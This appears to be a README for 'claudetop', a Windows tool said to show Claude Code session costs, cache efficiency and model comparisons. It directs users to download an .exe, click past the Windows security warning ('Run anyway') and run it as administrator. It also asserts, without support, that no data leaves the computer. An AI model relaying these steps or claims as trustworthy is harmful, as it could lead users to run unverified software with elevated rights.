⚡ claudetop - Monitor Claude Code Sessions Easily

Monitor your Claude Code sessions in real time with claudetop, a command-line tool for cost tracking and performance insights.

⚡ claudetop - Monitor Claude Code Sessions Easily

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📋 What is claudetop?

claudetop is a simple tool that shows useful information about your Claude Code sessions in real time. Think of it like a live dashboard for your work with Claude. It helps you see things like how much your session costs, how well the cache is working, and how different models compare. It also gives alerts to help you avoid surprises.

This tool runs in a command-line window but is made for everyday users. You do not need to know programming to use it.

Key features:

  • Shows cost updates as you use Claude Code
  • Tracks cache efficiency to help improve performance
  • Compares different Claude models in your session
  • Provides smart alerts for unusual usage or costs
  • Works right in your Terminal or Command Prompt window

🖥️ System requirements

To use claudetop on Windows, your system should meet these basic requirements:

  • Windows 10 or later (64-bit recommended)
  • At least 4 GB RAM
  • Internet connection for data update and model info
  • Command Prompt or PowerShell terminal available

No extra software or setup beyond running the claudetop tool is needed.

🚀 Getting Started with claudetop on Windows

Follow these steps to get claudetop up and running on your Windows PC.

1. Visit the download page

Click this big button to go directly to the download page:

Download claudetop

The page shows different versions and files for claudetop.

2. Download the Windows version

On the releases page, look for the latest release. Releases are shown with version numbers and dates.

  • Find the file named something like claudetop-windows.exe or similar.
  • Click the file to start downloading it to your PC.

Save it in a folder where you can find it later, like your Downloads folder or your Desktop.

3. Run the claudetop application

After downloading:

  • Open the folder where you saved the .exe file.
  • Double-click the file named claudetop-windows.exe.

Windows might show a security prompt the first time you run an app from the Internet. Choose Run or More info > Run anyway to start it.

When claudetop opens, you will see a command-line window showing live updates about your Claude Code sessions.

4. Using claudetop

Once claudetop is running, it will automatically connect to your Claude Code sessions and display details like:

  • Cost updates that change in real time
  • Percentage of cache used and how efficient it is
  • A comparison table of different Claude models based on current activity
  • Alerts if costs spike or if the cache needs attention

You do not need to type commands to see this. claudetop updates automatically.

5. Closing claudetop

To close claudetop, simply click the close (X) button on the command window or press Ctrl + C on your keyboard.

🔧 Additional settings and tips

claudetop offers some options to customize how information is shown.

  • You can resize the command window to see more details.
  • Use keyboard shortcuts inside the app to switch between different views:
    • Press 1 to view cost details.
    • Press 2 for cache efficiency.
    • Press 3 for model comparison.
  • Alerts will always appear on the bottom of the window. Pay attention to their messages for important updates.

🧩 How claudetop works

claudetop connects to your Claude Code sessions and collects data in real time. It processes this data to give you clear numbers and charts on cost and usage.

You never have to open a website or dig through logs. The app handles everything and shows results directly in the command window.

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🛠 Troubleshooting common issues

claudetop does not open after double-click

  • Check that you downloaded the correct .exe file for Windows.
  • Make sure your PC meets the minimum Windows version and RAM requirements.
  • Try running the app as Administrator by right-clicking and choosing "Run as administrator."

claudetop shows no data or errors

  • Confirm that you are running a Claude Code session in the background.
  • Check your Internet connection, as claudetop needs it to gather data.
  • Restart claudetop or your computer if the issue continues.

Cost updates or alerts are missing

  • The app must be connected to an active session. Start a new Claude Code session if needed.
  • Wait a few seconds for live data to load at the start.

♻️ Keep claudetop up to date

New versions may add features or fix small bugs. Check the releases page regularly:

https://github.com/kenchjm/claudetop/releases

Download the latest Windows .exe as described above and replace your older file if needed.

🔒 Privacy and security

claudetop only reads information from your own Claude Code sessions. It does not send any personal data or credentials to outside servers. All processing happens locally on your computer.

📚 Learn more about Claude Code and claudetop

If you want to understand more about doing cost tracking, cache efficiency, or model comparisons while coding with Claude, claudetop offers a simple, visual way to keep tabs on what matters.

Use claudetop to know where your resources go, how models perform, and when you might save money or improve workflow.